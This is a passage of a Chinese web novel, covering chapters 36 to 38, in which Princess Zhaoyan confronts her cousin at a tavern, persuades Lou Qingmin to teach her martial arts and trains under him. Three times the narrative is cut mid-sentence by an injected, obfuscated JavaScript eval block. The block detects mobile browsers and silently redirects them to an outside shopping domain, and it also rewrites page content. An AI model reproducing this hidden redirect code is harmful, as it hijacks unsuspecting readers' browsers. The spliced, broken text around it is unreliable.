从前他一直都是被人贴身侍奉,从未做过粗活的,养伤那段时日也是舅父夜以继日不辛劳苦照料他,他可谓是撒手掌柜整日只吃吃喝喝保命这三件事。 虽说学学本事日后照顾自己也是好的,但跟谁学都行,为何非要找连瑕。事情恐怕没那么简单,又看舅父如此替姜宣同说话,定是在隐瞒什么。 她有些担心连瑕,告别了姜贯,“既然舅父不愿多言,我亲自去看看。” 36. 漏网之鱼(九) 许久不来外城,街上依旧与初入燕国时一般无二。 车水马龙接踵而至,商摊小贩叫卖声热热闹闹,络绎不绝。热腾腾的包子刚出炉,空中飘着浓浓的肉香,日日活在这烟火气中,何尝不是一种自在。 朝颜与槐夏二人穿过喧闹人群,不到半刻便抵达了连瑕酒肆前。 自上次李轩来此处闹事之后,朝颜便打起十二分警觉,安排多个守卫在酒肆外驻守一圈,这个举措让酒肆中醉酒人数都少了许多,也无人再敢随意闹事。 此地位处繁闹地带,膳食口味绝佳,售价又不高,百姓一传一十传百,久而久之纷纷来此用膳,就连各国来往的车马也是慕名而来,因好奇之心踏足后被美味佳肴折服,日日来此,长此以往酒肆便越开越红火。 “连瑕在后厨掌勺?”朝颜进酒肆后便直奔后厨的方向去。 伙计是个少年,识得朝颜的身份,见人追问,忙毕恭毕敬答话:“对,只是,殿下您先别……”进去。 他话未说完,朝颜便已经越过他,一脚踏入后厨。 油烟与雾气扑面而来,朝颜被迷了眼,水汽散去后,她定睛一看,不远处一袭橘红艳色长衫的男子,乌发被银簪束起,正一手捧着酒盅,一手撑着置物石台,怡然自得地靠在灶台旁,眼睛正目不转睛地盯着俯身切菜的女子,看得极认真。 女子挪了位置,他也转过半个侧脸,鼻挺唇薄,长眸微挑,朝颜定睛一看,此人正是她要找的姜宣同。 顺着他视线望去,那女子不是连瑕是谁? 见他唇角快咧到耳根子,笑得傻里傻气,仿佛被迷了心窍似得的都没注意到她已然站到他身后,朝颜忍不住皱眉,拨开长袖一手上去直接拧了他的耳朵,“堂兄看得好入迷!” 姜宣同疼得嘶了一声,转头看到朝颜瞪着气呼呼的眼睛,立刻回过神后退一步,“我……” 朝颜将他的酒杯夺过,举在他眼前,语气不耐烦道:“舅父说你来此找人学本事,这便是你学的本事?” “误会,误会。” 姜宣同还在养伤之际便听人传言说城西开了家菜肴味道极好的酒肆,还是掌柜的亲自掌勺,自开张第一日便人山人海忙不过来,他便想来一睹掌柜尊容。 前些日子他终于有闲暇时辰,来此处一看,竟是旧人,连瑕。 他可喜可愕,着实佩服一个弱女子竟能将这么大的酒肆打理得如此有模有样,实在百年难遇的才女。 “堂兄,你还真是不到黄河心不死,不知悔改!”朝颜眼眸半阖,失望又气恼。 数月里,经历过这样多的挫折磨难,如今姜家几乎是一无所有两手空空,姜宣同却还如先前一般游手好闲,贪图美色,不知长进,实在无可救药。 一旁早就停下动作的连瑕急匆匆放下刀柄,快步跑来拉住朝颜的手臂,帮男人解释道:“殿下别生气,姜公子没有恶意。” 朝颜不满:“你还替他说话。” 听出少女语气中的愤愤,连瑕眨了下眼,但她确实是实话实说,不敢隐瞒扯谎。 姜宣同虽连着多日光顾酒肆,却并未做出任何出格之举,只是喝些酒吃些饭菜。 她本就因先前婆家强逼她出嫁之事对他印象不好,除了初次问过他有无忌口外,也未与他多说过话。而他来这么多次,偶尔端着酒来后厨观她备菜做饭,也没有过多打搅她,不故意惹她烦,还算得上个君子。 见朝颜如此模样,姜宣同疑惑问道:“好端端你生什么气,我又没做什么伤天害理的事,就是在府上实在无聊,来这儿找找乐子罢了。” 好歹也是活了两世的人,朝颜知晓男儿本色,想到他方才那种男人对女人不加掩饰的眼神,脸一冷,告诫眼前人道:“喝酒可以,但是少打连瑕的主意!” 姜宣同冷哼一声,小声叨叨着:“年纪不大,脾气不小,比父亲还能教训人。” 不过他也是个犟种,表面不反驳,心里也下了决定,日后还来,日日来,打不打主意也不是朝颜说得算。 “若你真无事可做,我便给交给你一个任务。” “什么任务?” 朝颜拉了下他的衣袖,姜宣同便低下头。 而后她贴在他耳侧,悄悄对他说了几句话,又重新站直身子,道:“此事天知地知你知我知,万不可再透漏给旁人”。 姜宣同若有所思一番后,沉沉点了下头,身边人们尽管好奇,听完这话,都很有眼色地没有过多过问。 后厨味道刺鼻,几人一起出去,哪知刚走到正堂,朝颜便冷不丁听身侧人叫了声“少傅大人!” 话音刚落,朝颜眼睛明显比先前明亮几分。 这几日连着找了他多次都未见到人,能在此处遇见朝颜心中很是雀跃。她抬眼四处寻了一番,却没见到那人的半点踪迹,她失落地转回身,盯着姜宣同,言语明显不悦:“堂兄如此大呼小叫,捉弄旁人,还真是如孩童一般幼稚无趣。” 她冷静下来,这才意识到娄卿旻日理万机,怎会来此? 姜宣同一听这话顿时板起脸,他可不想被随意污蔑,“我哪里是有意欺瞒你,我说的都是真的,我昨日还见他带着下属来此用膳了。” 方才他也是真的见到神似娄卿旻的人了,只是眨眼间便没了。 “连瑕可为我作证!” 连瑕兀的被姜宣同拉入二人的斗嘴进程中,脖颈处抖了一抖。 她回想这几日的宾客里确实见过几次娄卿旻,便低眉顺目地看向少女,接过姜宣同的话:“姜公子说得不错,那位大人近几日也光顾过此地。” 朝颜脑袋中闪出一道猜想。 莫非娄卿旻与姜宣同一样,也对连瑕有意? 他先是在燕晤手中救下连瑕,听连瑕开了酒肆后又时常光顾,若不是为了连瑕的手艺而来,便是冲人来得了。 连瑕貌美如花,风姿绰约,为人勤进好学,还做得了拿手好菜,有人欣赏她不足为奇,若是连不近女色的娄少傅都倒在她的石榴裙下,朝颜不得不震惊了。 她又想,若真如此,也算是好事。 或许可以让连瑕帮她说说习武之事。 但她又想,那赠娄卿旻剑穗的女子要如何自处?思虑良久,朝颜连忙摇了摇脑袋,将方才荒谬的想法甩出去,与人共处这些时日,她也知道娄卿旻不是见异思迁之人。 “胡思乱想什么呢?”姜宣同比朝颜高出一个头,伸手便能碰到朝颜的头顶,他便明目张胆揉了几下。 “与你何干。” 朝颜推开他的手臂,向后仰头侧了身子。 姜宣同笑着还想再动作,恍惚间转头,余光瞥见门外两道男子身形,二人身侧悬剑,各自右手握着,站得端正挺拔。 打眼望去,前面那位面无表情,似冷阎王,眼神凛冽地紧紧盯着他,姜宣同打了个冷颤,后背一凉。 察觉到男人目光所及之处正是他撩拨朝颜的手臂,忙收回手,正经地唤了一声:“娄少傅。” 又来。 朝颜秀眉紧蹙。 他就只会这一招么? 她漫不经心地转头,见身旁众人各个表情都变得严肃了,意识到什么,缓缓站正,那道青色身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405622|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影已经踏入门槛,目若朗星,十分从容地走着,身上散发的淡淡威严让人只敢远远看着。 原来姜宣同这次没骗她,眼看着两人已经来到他们面前,朝颜细眉舒展开,面色恢复如初,俯身颔首,“少傅大人。” 娄卿旻十分正派地朝她一拜,缓缓起身。 见状,朝颜等人也对之一俯身后站起身来。 朝颜眼观六路,善于察言观色,嗅到周围人身上的惧意,为缓解这严肃的气氛,主动笑着提议:“许久未见,大人忙于公务,日夜操劳,辛苦了。今日既然聚到一处了,我来做东,宴请大家可好?” 而这边众人都知晓朝颜这话是问娄卿旻的,便都主动地不搭话,最后也是娄卿旻接了话:“谢过殿下。”朝颜不在意地摆摆手,道了声不谢。 几人行至二楼空着的包房,破天荒头一次坐到同一张桌案上。入座后便鸦雀无声,各怀心思,静得连呼吸声都能听到。连瑕察觉气氛窘迫,有些窒息,头闷眼花,用亲自掌勺为大家露一手当借口后,逃走了。 朝颜还未来得及反应,女子的身影随之消散在眼前,她无声念了句跑得真快,悠悠转过头看向面前两个男子,二人一个不苟言笑,一个故作正经,她一时不知该说什么,唤伙计上前点了几道合自己口味的菜肴。 姜宣同也跟着一齐点了美酒。 二人目光不约而同地一同落到娄卿旻身上。 本以为他会点些招牌或是别的什么,不料他却对伙计说了声照旧,那伙计便离开了。 送走伙计,槐夏与暮商自觉退出门外,屋中剩下他三人,场面又恢复成方才的静。 娄卿旻的菜肴来得很快,不到一刻钟便整整齐齐摆在他面前。 放眼望去,依旧是先前那几样膳食,两块黄米饼,一碗豆饭藿羹,一盘蒜拌苦菜。 日复一日,毫无二致,半点荤腥都没有,朝颜只瞥一眼都觉得味同嚼蜡,令人毫无食欲,也不知他如何吃得下。 身为公子哥的姜宣同从未见过这样的膳食,双眼瞪大,压过身子去看那碗豆饭,惊道:“少傅大人口味真是独特,这么清淡都吃得进去!” 娄卿旻从方才开始,目光一直落在眼前饭食上,听到姜宣同的惊讶,也没看他,沉声回一句:“习惯使然。” 话毕,三人又恢复成先前静静的模样。 又等了半刻,菜肴一道道上全后,已经摆满了桌案。朝颜唤门外站着的二人进来一同用膳,结果被暮商婉拒了,槐夏也不敢与少傅大人同桌用膳,便放言陪暮商一起在外面候着。 朝颜心中有事,忧虑重重,没心情用膳,拿着竹著心不在焉地扒了几口饭占住嘴,便直勾勾盯着娄卿旻的碗筷,看了一眼又收回视线,没过多大会儿又抬眸看去。 男人没有明显的情绪,夹菜的动作一来一回颇为优雅,他脸上既没有品尝佳肴后的欣喜亦没有什么腻烦,仿佛用膳这件事只是到了时机该做了,朝颜觉得他有些不近人情,不论何时何地何处都是这样,冷淡、疏离,旁人只怕是看都不敢多看。 她一直想着如何与娄卿旻开口说学武之事,想着想着就入了神,心思飘到九霄云外。 娄卿旻向来机敏,能察觉到旁人泄出的情绪。 见朝颜眼眸一眨不眨,只盯着自己面前的膳食,偶尔还朝自己这边看几眼,娄卿旻嚼完口中饭菜,没有再去夹菜,琉璃般的瞳孔映照出朝颜的神态,他亦不想被人注视着用膳。 他缓缓放下竹筷。 竹瓷碰撞出的清脆声一落,他清冽的嗓音也落入众人耳膜中:“殿下不妨有话直说。” 37. 卷土重来(一) 正值午时三刻,是一天中最暖的时辰。二楼的窗牖全然大开,阳光悬在正头顶,将屋内照得十分亮堂,饭菜的清香亦随着轻风漂浮在面前,沁人心脾。 三人正各怀心思盯着自己眼前碗筷,相顾无言。 男人猝不及防道出一语打破了悄无声息的场面,也将朝颜飘到九霄云外的神思又重新拉了回来。 闻声,朝颜下意识抬头看了看姜宣同,见人夹菜的手停滞在半空一动不动,眉眼转来转去,不知脑子里有什么小心思,而后又将视线转到出声的娄卿旻身上。 琥珀色的眸光夹着一丝锐利的光影,恍若银针,似能穿透皮肤骨骼直捣人心最深处。 朝颜没被他犀利的神色吓到,随之悄无声息抿了下红唇,将手中竹著轻轻放下,又直直盯着男子,话语中有抹淡淡的诉求:“实不相瞒,我是有件事想麻烦大人您。” 只见娄卿旻不着痕迹地微挑眉头,“何事?” 朝颜正要答话,不料余光却瞥见门外因好奇而探进半个头的槐夏与暮商。 二人偷听的小举动实在有趣,她眼中逐渐蒙上一层薄薄的笑,又垂下眼睫。 殊不知这副女儿家似水的灵动模样,恰好落在娄卿旻眼中,他心上微微一颤,紧接着便听见少女认真的语调:“大人,我想借您手下的暮商一用。” “哦?”说这个字时,他原本低沉的嗓音明显上扬了几分,语气带着疑惑,抬眼正视朝颜,好似在问为什么。 身侧的姜宣同也定定看了少女一眼,诧异又好奇。 一时间两个人同时看向自己,那探究的目光让人无法忽视,朝颜面上闪过一丝无措。 不过片刻便消散了,后又义正言辞地解释:“我是想让他教我些简单的拳脚功夫,以便日后可以自保。我不想再像上次那般,随便被人挟持,太过被动。” 姜宣同听完即刻拍手较好,一面觉得朝颜所言不无道理,一面又想到她有事可做便不会有闲暇时间再找他麻烦,那他便逍遥自在,来去自如了。 而这边娄卿旻的举措与姜宣同激动的反应截然相反,面上不言不语,冷冽的视线已经扫到门外男子身上。 一起相处了许久,暮商与自家大人对望一瞬,登时察觉到他的言外之意,不等人发话便毕恭毕敬地快步进了房内,站在几人不远处,对着朝颜恭敬一拜。 朝颜觉得暮商会同意,垂首抬眼笑了笑,而后将视线转到娄卿旻身上,十分有耐心地等人回话,但对方没给答复,她也有些心急如焚了,生怕人拒绝。 暮商那边也犯了难,对他有所求的毕竟是公主,他不知该拒绝或是……应下来。 他小心翼翼地将视线转到娄卿旻那方,求助地看着自家大人,很难为情:“这……” 须臾间,暮商灵机一动想到了两全其美的法子。 他快步移到朝颜身侧,抱拳俯身一拜,腰弯得很低,道:“属下有罪,请公主责罚。” 朝颜对他的话疑惑不解,微微抬起下颌,示意他将话说完。 “属下不才,只略懂皮毛,不足亦担起公主之师如此重任,但我家大人箭法了得,骑术也极好,殿下若诚心拜师,选个更厉害的教导您才为上策。” 听娄卿旻教导? 朝颜迟疑了。 她最初也想过此事,但想法一出便被她否决了,眼下暮商又当着本尊的面提了出来,她心思开始摇摆,余光瞥着娄卿旻,喃喃接话:“这、这能行么?” 她的话语中有惊有惧,唯独没有喜。 却见暮商将头垂得更低,行礼的身子顿在原地,迟迟不敢有动作,仿佛在躲着娄卿旻。 一侧的姜宣同听完这话后便暗自憋笑,想着众人上赶着求着让他教学的人,到自家堂妹这儿只换来一句能行么,真真是太过滑稽,太让人始料未及。他忙去看男子的脸色,想从人身上看出些吃瘪的反应,却见娄卿旻波澜不惊,面色平淡,还保持着那副高雅斯文的姿势,静坐在那。 果然,成大事者不会为别人的一句话所动容。 也不知是真漠不关心还是故作姿态,隐藏极深。 过了半晌,朝颜意识到自己话吐得太快,狼狈地找补解释:“不是我不愿让大人教导,只是大人公务繁忙,怕是没有闲暇时间浪费在我身上。” “殿下此言差矣。”暮商即刻接过话茬。 “您的事亦是正事,您的安危关乎华纪,我家大人爱憎分明,忠心耿耿,自是应该将您的需求摆在第一位!更何况担任公主的先生乃幸事,多少人求之不得,前仆后继,大人自是不会觉得麻烦!” 暮商在燕国与暮均待久了,整日照葫芦画瓢,嘴皮子也比从前利落了不少。越说越偏颇,自觉帮了娄卿旻的大忙,甚至夸大其词,替娄卿旻做决定。 话音刚落,一旁默默无言的娄卿旻终于有了反应,冷冷睥了他一眼,言语微寒:“暮商,莫要多嘴。” 目的达到,暮商自觉地退了出去。 朝颜见娄卿旻只是提醒了暮商一句,并未责罚,也没有明确拒绝,便直接默认他答应了此事,而后缓缓站起身对他行了颔首礼,“若大人不拒绝,那从今日起我便拜少傅大人为师,在学成之前会一直听大人的吩咐。待朝颜学成那日,必有重谢。” 说这些话时她面带微笑,仪态落落大方,让人看了便不想拒绝。 自始至终未说一句话的娄卿旻被他二人一唱一和给安排好了。 已成定局,他也不忍扫她的兴,轻轻点头应了下来。 事情进展得这样顺利,朝颜心中的担忧放了下来,心情很是愉悦。 本以为会被他以一句女子不得习武而拒绝,谁知对方非但没冷嘲热讽,还答应亲自教她习武,朝颜很欣喜,食欲瞬间上来了,又坐下端起碗筷多吃了几口。 娄卿旻看了她一眼,眸中带着自己都未察觉到的宠溺。 其实他从未有过要反驳她的念头。 从撞见她逃婚那日到现在,她的所见所闻,所思所想、所作所为,无一不独特。 今日提出要学武,更是让他对她的欣赏又多了几分。 那日被十廿挟持,若是旁人,早就被吓破胆子,而她却不会因危险而胆怯,反而要迎难而上,克服危险。 她这样的女子,在众多以温婉如玉、相夫教子为生的人中,是那样独树一帜,让人不由自主投去许多关注的目光。 娄卿旻收回视线,坐在那处安静等着。 姜宣同从始至终一直保持着看戏的姿态,丝毫没有错过他二人前前后后的一系列反应。看男子对少女那样欣赏的目光,他不忍打搅,装作没看见。 姜宣同勾着唇,戏谑地看着他们,他总感觉二人间总有种不可言说的氛围环绕在身侧,好似外人都插不进去。 但眼下他却忍不住了,故意开口唤朝颜一声,给她泼冷水: “可我听说练武很苦很累,若实在坚持不下,你也万不可逞强,身体最要紧,毕竟你是女子,就算一无所成也无人会耻笑你的!” 食不言寝不语,朝颜不想给他任何反应。 毕竟他一开口,朝颜便想到连瑕从前种种磨难,自觉将错误都带入到姜宣同身上。 她咽下口中的饭菜后斜视了姜宣同一眼,言语犀利:“堂兄还是先管好自己吧,你身为男子,年岁也不小了,整日沉迷花天酒地可不是大丈夫所为,你应向娄少傅讨教讨教如何立功行赏,加官进爵,而不是在这儿担心我会如何。” “至于我的事你更是可以把心放在肚子里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405623|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水滴石穿、铁杵磨针的道理我还是懂的,既决定要做便不会轻易舍弃功亏一篑。” 姜宣同被这一席话弄得目瞪口呆。 时至今日,他也见识到朝颜口舌的厉害之处,比从前见过的游走天涯的说客还要伶牙俐齿。 甚至还与那娄少傅有如出一辙的模样。 用过午膳后已快到申时,几人没急着离开,唤酒肆伙计来清扫一番后,他们又坐回案边,商议正事。 氛围正经起来,朝颜最先开口:“此次王酉铭私自克扣木炭让诸多百姓们风餐露宿,冻死街头,王上仁义爱民,最见不得百姓受苦,应不会再轻易放过王家了罢?” 晌午前听说王酉铭因证据不足被罚闭门思过,也不知可有查到用力的证据,她紧接着又问娄卿旻可有查到蛛丝马迹。 只见娄卿旻半阖双眸低头沉思着,长睫在他眼下投下一片阴影,他草草道了句没有。 朝颜总觉的男人有事瞒着她,看着他想要一探究竟。 察觉到少女的目光落在自己身上,娄卿旻随之抬头,对上那双满含期待的桃花眸,那眼神光明磊落,直白得让人想逃避。 他是心中有鬼,神思踌躇不定,忐忑不安。 来燕之前派去寻找太子朝饶的亲兵前些时日有了消息,娄卿旻近日正为华纪之事忧虑,便一直待在东城自己的地盘上,没理会王酉铭。那日帮王凝拦下闹事的商贩也纯属巧合,事后便没再理会。 前段时日便收到这个消息,他派人又去调查一番,来人取回了尸首身侧的遗物,一块价值连城的玉玦与金丝所编织的剑穗,这两个物什确实为朝饶之物,只是那尸首已毒发身亡半个月,无人顾暇,风吹日晒后,肉身腐烂,面容也被虫蛇鼠蚁咬得血肉模糊…… 他让仵作验了尸,也确认那具尸体所中的毒与他先前被山匪射中那箭的毒,出自同一种。 这毫无意外更加证实了尸身就是朝饶。 他不敢与朝颜讲明此事,怕惹得她情绪激动,冲动行事,再作出何不利华纪之事。故而隐去朝饶的消息,但自己心中始终有愧。怕被朝颜看出什么,他连忙对人解释道:“燕国国君已将此事交到左师与大司寇手上,臣有别的事要做,便没再插手。” 朝颜半信半疑,也没理会男人面上方才那说不清道不明的忧愁,点头赞同,“大人置之度外也是好的,万一王酉铭真被查出什么,至少不会将仇记到大人身上。” 况且此事是燕国内部的事,娄卿旻身为华纪使臣,自是不方便插手。 几人随后又说了几句客套话,朝颜以监督为由把姜宣同送回府邸,随后快马加鞭入了宫。 娄卿旻因答应了朝颜教学之事,也破天荒的回宫入住。 …… 翌日卯时一刻,天光才从窗棂处透进淡淡的一丝,外面还暗着,朝颜便腾得一声从榻上爬起来梳洗更衣,怕自己学武之事不动作受阻,朝颜特意吩咐槐夏为其找了身便于动作的上衣下裳,还将她所有的发丝全部束起,梳了个简单利落的堕马髻便匆匆赶往娄卿旻所住之处。 暗淡天色上还挂着半个月亮,月光透过灰色云雾洒在大地上,将朝颜的前路照得颇为清晰。她牵着槐夏的手臂循循前行,踏入娄卿旻所居的宫苑,院内空无一人,她走到已经枯竭的树杈下,还未站好便听见男子富有磁性的声音在身后传来: “殿下很讲诚信,竟比约定的时辰还要早一些。” 昨日分别前,二人专程定下了每日习武的时辰。 初次当人徒弟,朝颜自觉拿出十足的诚意,想着这样才能让娄卿旻不低看了自己,也不辜负彼此的时间。 一来便听见娄卿旻的夸赞,朝颜笑着应了下来:“既是求大人办事,自是要说到做到,不失信于人。” 38. 卷土重来(二) 被夸后的朝颜定定站在树下,抬头望着高阶上的男子。 灰暗天光下,万物朦胧混沌,缥缈的蓝衣在暗夜中摇曳,而男子的面貌却始终不明晰,给人无端留有几分遐想。朝颜刚想启唇便听到他的声音:“今日是第一日,殿下需从最简单最基础的开始,持之以恒方能见成效。” 听完娄卿旻的话,朝颜想起先前在华纪境内他整日天不亮便去操练士兵的场景,便看出他为人师的严厉与负责。她想,前世若非兄长受人算计,他二人必定会闯出一番盛世,不过好在这一世与前世不同,一切还来得及改变。 倘若自己早些开窍,多多读书习武,也不至于前世敌国来犯时无能为力,匆忙之际便将自己嫁了。 只可惜,世上没有后悔药。 她垂眸,纤细的手指轻轻抚上颈间,摸到那处突出的疤痕,忆起被十廿挟持的场面,心中暗自下了决心。那是第一次,也会是最后一次,日后她不会再当一个软弱无用之人! “殿下在想什么?” 男人言语将朝颜拉出神思,她放下手臂,再抬眼,娄卿旻已经站在她面前,越过了三尺之距。 突然离得如此近她还有些不习惯,脸颊刹时红了几分,她忙将头移到旁边,而后又安慰自己,既是亲自教学,哪里还用在乎那么多繁文缛节,更何况娄卿旻本人都不在意,她更不应大惊小怪。 好在天色暗淡,对方看不清她的脸色,朝颜摇摇头,随口一道:“没什么,我们开始吧。” 殊不知娄卿旻视力极好,夜间也能比旁人看得清些,故而他就这样看着少女脸色来回变幻,唇角微微勾了一下便复原,没在朝颜面前露出半分破绽。 都知道彼此都不是糊弄的人,娄卿旻便拿出自己最认真的姿态,最严厉的一面,从基础开始教起。 他先是让朝颜绕着整个朝宫跑了三圈,而后用布帛包着两堆相似重量的碎石让她不断练习抬、举、甩、丢,时间一晃便过去。 不知不觉太阳已经高悬在正空之上,第一日的训练将要结束。 在最后扔下石子的瞬间,朝颜两条手臂已经完全瘫软,根本抬不起来,双腿因长时间战立也禁不住颤抖起来,而后后退了几步,脚下一软就要摔倒。 娄卿旻不自觉地要伸手去接她,反应一瞬后,手忽然停在半空,就这样面无表情地盯着朝颜摔坐在地下。 学武不是简单的事,少不得吃苦,娄卿旻自认不是什么怜香惜玉的人,既答应了好好教学,一视同仁,便不能心软,若一味心疼她痛了累了,便是不认真。 摔在地下的朝颜没立刻爬起来。 学武已经很累了,她不想再拘着自己,索性将什么身份礼节全抛开,只当个小小的学徒。 她将身子放松,闭上眼睛抬起脖颈沐浴阳光,感受到冬日暖阳的和煦,与夏日的炙热不同,此刻的阳光是温暖轻柔的,很舒适。方才摔的后腰臀确实有点疼,但是还能忍。 这不算大事,她也没觉得有什么可委屈的,毕竟这路是自己选择的。 思及此她抬起双手拍了拍灰尘,准备去擦额上的汗时,身后传来娄卿旻深沉的嗓音: “女子与男子最不同的便是力气。殿下首先要锻炼好臂力才能拿起武器与人对抗,否则学再多也是花拳绣腿,不堪一击。今日殿下表现得很不错,是个习武的好体格,回去后要勤加练习,接下来每一日都会比今日更难。” 他顿了顿,又道:“明日起,殿下依旧要先绕着朝宫跑三圈。” 一听娄卿旻说练得不错,朝颜像是得到蜜糖的孩童一般,即刻恢复斗志满满的模样,一下便站了起来,浑身酸痛仿佛尽数消失般,好像还能再跑两圈。同样,她也听出娄卿旻此番言语不似之前那样冷淡,反而多了些温柔。 思及此她莞尔一笑,回道:“谢大人夸奖,日后我会继续努力。” 娄卿旻见她光彩照人的模样,不着痕迹地点了点头。 任务完成,他也不多久留,行过礼转身便离开了。 朝颜目送那道湖蓝色身影离去,唇边还留着一抹掩饰不住的笑意。 槐夏提前回去准备好沐浴更衣的东西,回来便看到自家公主盯着一处傻笑,辛辛苦苦几个时辰,仿佛不知累一般,她心疼极了,一脸担忧地搀着朝颜慢慢回寝宫。 沐浴过后朝颜躺着小憩了一会儿,再醒来时,身上传来一股难以忍受的酸痛。 朝颜两辈子从来没有过这样的痛楚,好像身子不是自己的一样,沉甸甸的,根本由不得她操控,手臂也使不出力气。自暴自弃似得又整整躺了半日,夜里才有几分好转,怕影响明日的锻炼,朝颜也不敢再继续睡,忙下榻蹦蹦跳跳,活动了几下筋骨。 翌日一早,她还是那个时辰去的,彼时娄卿旻已全将东西备好了,二人不多言语,去了便直接开练。 第三日、第四日、第五日、第六……就这样每日两个时辰,连着十多日早早起身去练武。经过多日磋磨,此刻的朝颜已经与先前的那个她大不相同。 练过力量后,便是柔韧、速度、耐力、最终可以拿起武器与之对抗,虽比不上那些男子,但确实比寻常人利落很多。 小有所成后,朝颜满心欢喜,只是她有一事始终不明。 本以为她与娄卿旻二人间会和她书简中看到的一样,用师傅徒弟之间的称谓,不想娄卿旻与她始终保持着君臣身份。 他从来不让她唤他师傅,他也如往常一样,一直殿下殿下的唤她,声音宛转悠扬,时而严厉时而温柔,令朝颜每每回宫后耳畔还回荡着“殿下”二字。 甚至梦中都会重现白日操练的场景,譬如: 她压腿练习弓步马步时,他会督促她:“殿下,可以再坚持一炷香时间么?” 又或者她练拳时,不动不痒打在他身上,他会严肃地提醒:“殿下,可以再用几分力。” 每日学武中间会有一次休息的时段,每每在她做完一套动作,确认无太大失误后,才柔声安抚她:“殿下,可以歇息了。” 若有误,便一直做到无误而止,不得不说娄卿旻这个人对人事物都要求极高。 说起来他也有毒舌之时。 依稀记得她刚拿起棍棒与他对打的头几日里最是困难,因动作不熟练反应不及时,她总挨打。平白挨打,内心总有不悦。 娄卿旻总能在她累得气喘吁吁满头大汗,不想继续下去的时候,淡淡唤她一句殿下,而后用最热忱的声音说出最冷漠的话:“若坚持不下尽管回去便好,殿下是公主,就算半途而废也无人敢笑话。” 是公主,便可半途而废? 这哪里是安慰人,分明是在嘲笑她。 朝颜气急了,知道他话里有话,但也不好与他吵架,故而忍了下来。 已经坚持了这么多天,身心俱疲,四肢也酸痛不止,忽然挨打,是人便会有挫败感,哪里知道娄卿旻是如此冷漠的“师傅”,不能让她有丝毫的懈怠,一边让她身体受累,一边说着寒心的话摧残她的心。 也不知是激将法对每个人都管用,还是朝颜那股不服输的气,她偏不放弃,偏要学成,练到后期还主动提出每日加练了半个时辰,宁可累死也不罢休。 每日练出一身汗,回去沐浴更衣之时,身上触目惊心的红痕日日添新,又累得没心思用膳,腰际细了整整一圈,看得槐夏直心疼。 而朝颜本人丝毫不在乎什么伤痕,她已深陷其中,上午练武下午看书,整个人云里雾里,分不清昼夜。有时夜里做梦都在孜孜不倦地下腰、勾掌、压腿、劈叉等动作,甚至都梦魇了,在榻上坐起身来,闭着眼睛都能做一套动作。 不知不觉过去了半月,眼看着腊月快要过完,临近年关,昼夜气温不断下降,怕朝颜受冻,娄卿旻特意减少了练武时辰,偶尔还会让她歇息一日,到殿内品茶暖手,还美其名曰这是她认真学武的奖励。 这日,朝颜一进到娄卿旻所居的宫苑内便见到廊台下站着十分端正的人,她突发奇想来了兴致,快步跑到树下取来木棍便朝人直直奔去,一套动作利落,行云流水,步伐也极快。 木棍夹着冷气直逼娄卿旻而来,气势如虹的模样吓了男人身旁的暮商一跳,刚想拔剑便被娄卿旻一手拦下,娄卿旻将其推到身后,眉眼间一副了然模样,他半眯眸子看着木棍快速逼近,在距离他脖颈间只差一拳距离时,迅速向后弯腰躲过了朝颜的攻击。 二人纠缠到一起,槐夏与暮商才意识到他们是想比试比试,纷纷自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405624|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉地跑到远处观战,而娄卿旻则是赤手空拳将朝颜引到庭院中间。 起初朝颜未用尽全力。 后来忽然有些失去理智,将棍棒当作刀剑,将眼前人视作曾经伤她的十廿,怒气飙升到发顶,眼底尽是厌恶。 她要报那一刀之仇! 脖子上那道疤无时无刻不在提醒她,她曾经是个只能任人宰割废物。前世的惨死结局浮现在眼前,她深恶痛绝,愤恨不已。从前没本事保护自己死便死了,但眼下却不同了,她可以自立了,也有力量保护自己。 手中武器令她心安,这也让她出手毫不心软,每一下都用尽全力,直捣要害,逼得娄卿旻用手臂白白接下一棍又一棍。 见每棍都实打实地落在男人身上,朝颜心间生起一抹快感,十廿与前世凶手的模样在她眼前不断转换,她越是能打中人,心中那个隐忍许久的雄狮便越来越激昂,不断叫嚣着想跑出来与人一决高下。 她陷入迷局无法自拔。 直到又一棍打在身上后,娄卿旻痛得闷哼一声,朝她眉眼间看去,见她面上愈发冷漠,出手极凶,瞳孔却呆滞成一团。 不对劲,很不对劲。 思及此他没再让着她,拿出自己七成实力去应对她,哪知朝颜变本加厉,二人又对打了一个回合后退散开来,娄卿旻离她很近,朝颜用力挥棍不想这次落了空,二人擦肩而过,朝颜忽然愣神。就在此刻男子一个回首便制止住她,将棍子一把夺了过来。 失去木棍后的朝颜像是盲女一下子失去盲杖,身子不由自主地向前仰去,脚下动作到一半也忽然没了力气,直直地向前栽去。 